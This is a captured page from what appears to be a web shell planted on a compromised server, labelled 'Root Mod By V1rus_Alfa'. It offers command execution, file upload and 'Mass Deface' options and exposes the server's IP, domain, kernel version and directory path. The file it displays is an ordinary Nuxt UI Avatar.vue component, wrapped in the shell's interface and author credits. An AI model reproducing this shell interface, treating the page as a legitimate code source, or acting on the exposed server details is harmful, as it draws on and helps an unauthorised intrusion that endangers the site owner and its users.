���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
.trash
/
node_modules.1
/
@nuxt
/
ui
/
dist
/
runtime
/
components
/
elements
/
Viewing: Avatar.vue
<template> <span :class="wrapperClass"> <component :is="as" v-if="url && !error" :class="imgClass" :alt="alt" :src="url" v-bind="attrs" @error="onError" /> <span v-else-if="text" :class="ui.text">{{ text }}</span> <UIcon v-else-if="icon" :name="icon" :class="iconClass" /> <span v-else-if="placeholder" :class="ui.placeholder">{{ placeholder }}</span> <span v-if="chipColor" :class="chipClass"> {{ chipText }} </span> <slot /> </span> </template> <script> import { defineComponent, ref, computed, toRef, watch } from "vue"; import { twMerge, twJoin } from "tailwind-merge"; import UIcon from "../elements/Icon.vue"; import { useUI } from "../../composables/useUI"; import { mergeConfig } from "../../utils"; import appConfig from "#build/app.config"; import { avatar } from "#ui/ui.config"; const config = mergeConfig(appConfig.ui.strategy, appConfig.ui.avatar, avatar); export default defineComponent({ components: { UIcon }, inheritAttrs: false, props: { as: { type: [String, Object], default: "img" }, src: { type: [String, Boolean], default: null }, alt: { type: String, default: null }, text: { type: String, default: null }, icon: { type: String, default: () => config.default.icon }, size: { type: String, default: () => config.default.size, validator(value) { return Object.keys(config.size).includes(value); } }, chipColor: { type: String, default: () => config.default.chipColor, validator(value) { return ["gray", ...appConfig.ui.colors].includes(value); } }, chipPosition: { type: String, default: () => config.default.chipPosition, validator(value) { return Object.keys(config.chip.position).includes(value); } }, chipText: { type: [String, Number], default: null }, imgClass: { type: String, default: "" }, class: { type: [String, Object, Array], default: () => "" }, ui: { type: Object, default: () => ({}) } }, setup(props) { const { ui, attrs } = useUI("avatar", toRef(props, "ui"), config); const url = computed(() => { if (typeof props.src === "boolean") { return null; } return props.src; }); const placeholder = computed(() => { return (props.alt || "").split(" ").map((word) => word.charAt(0)).join("").substring(0, 2); }); const wrapperClass = computed(() => { return twMerge(twJoin( ui.value.wrapper, (error.value || !url.value) && ui.value.background, ui.value.rounded, ui.value.size[props.size] ), props.class); }); const imgClass = computed(() => { return twMerge(twJoin( ui.value.rounded, ui.value.size[props.size] ), props.imgClass); }); const iconClass = computed(() => { return twJoin( ui.value.icon.base, ui.value.icon.size[props.size] ); }); const chipClass = computed(() => { return twJoin( ui.value.chip.base, ui.value.chip.size[props.size], ui.value.chip.position[props.chipPosition], ui.value.chip.background.replaceAll("{color}", props.chipColor) ); }); const error = ref(false); watch(() => props.src, () => { if (error.value) { error.value = false; } }); function onError() { error.value = true; } return { // eslint-disable-next-line vue/no-dupe-keys ui, attrs, wrapperClass, // eslint-disable-next-line vue/no-dupe-keys imgClass, iconClass, chipClass, url, placeholder, error, onError }; } }); </script>
Coded With 💗 by
0x6ick Mod By V1rus_Alfa